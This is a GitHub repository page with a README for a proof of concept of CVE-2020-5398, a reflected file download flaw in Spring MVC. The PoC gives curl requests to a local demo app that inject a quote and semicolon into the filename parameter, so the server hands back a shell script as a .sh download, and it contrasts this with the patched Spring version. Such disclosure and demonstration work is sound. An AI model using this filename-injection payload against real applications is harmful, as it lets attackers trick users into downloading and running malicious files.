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https://github.com/motikan2010/CVE-2020-5398
CVE-2020-5398 - RFD(Reflected File Download) Attack for Spring MVC
https://github.com/motikan2010/CVE-2020-5398
Last synced: 3 months ago
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CVE-2020-5398 - RFD(Reflected File Download) Attack for Spring MVC
- Host: GitHub
- URL: https://github.com/motikan2010/CVE-2020-5398
- Owner: motikan2010
- License: mit
- Created: 2020-01-17T05:35:01.000Z (almost 5 years ago)
- Default Branch: master
- Last Pushed: 2022-12-15T07:33:15.000Z (almost 2 years ago)
- Last Synced: 2024-05-02T18:08:53.508Z (6 months ago)
- Language: Java
- Homepage:
- Size: 70.3 KB
- Stars: 85
- Watchers: 2
- Forks: 22
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE.md
Awesome Lists containing this project
- awesome-hacking-lists - motikan2010/CVE-2020-5398 - CVE-2020-5398 - RFD(Reflected File Download) Attack for Spring MVC (Java)
README
# CVE-2020-5398 - RFD(Reflected File Download) Attack for Spring MVC
> In Spring Framework, versions 5.2.x prior to 5.2.3, versions 5.1.x prior to 5.1.13, and versions 5.0.x prior to 5.0.16, an application is vulnerable to a reflected file download (RFD) attack when it sets a “Content-Disposition” header in the response where the filename attribute is derived from user supplied input.
## Using
1.
```
./gradlew bootrun
```
Listen on `127.0.0.1:8080`.
2.
```
$ curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.txt"
Content-Type: application/octet-stream
Content-Length: 12
Date: Fri, 17 Jan 2020 05:41:08 GMT
Hello, World
```
Start download `sample.txt` file.
## PoC
### Insecure Version(Spring Web 5.2.2)
```
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT
#!/bin/bash
id
```
Start download `sample.sh` file.(Shell file)
### Secure Version(Spring Web 5.2.3)
```
$ curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh\";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:24:47 GMT
#!/bin/bash
id
```
Start download `sample.sh";.txt` file.(Text file)
## References
- [CVE-2020-5398: RFD Attack via “Content-Disposition” Header Sourced from Request Input by Spring MVC or Spring WebFlux Application | Security | Pivotal](https://pivotal.io/security/cve-2020-5398)
- [NVD - CVE-2020-5398](https://nvd.nist.gov/vuln/detail/CVE-2020-5398)
- What's RFD Attack?
- [eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf](https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf)
- [Reflected File Download - OWASP](https://wiki.owasp.org/index.php/Reflected_File_Download)
- Fix Commit
- [ContentDisposition refactoring · spring-projects/spring-framework@956ffe6](https://github.com/spring-projects/spring-framework/commit/956ffe68587c8d5f21135b5ce4650af0c2dea933)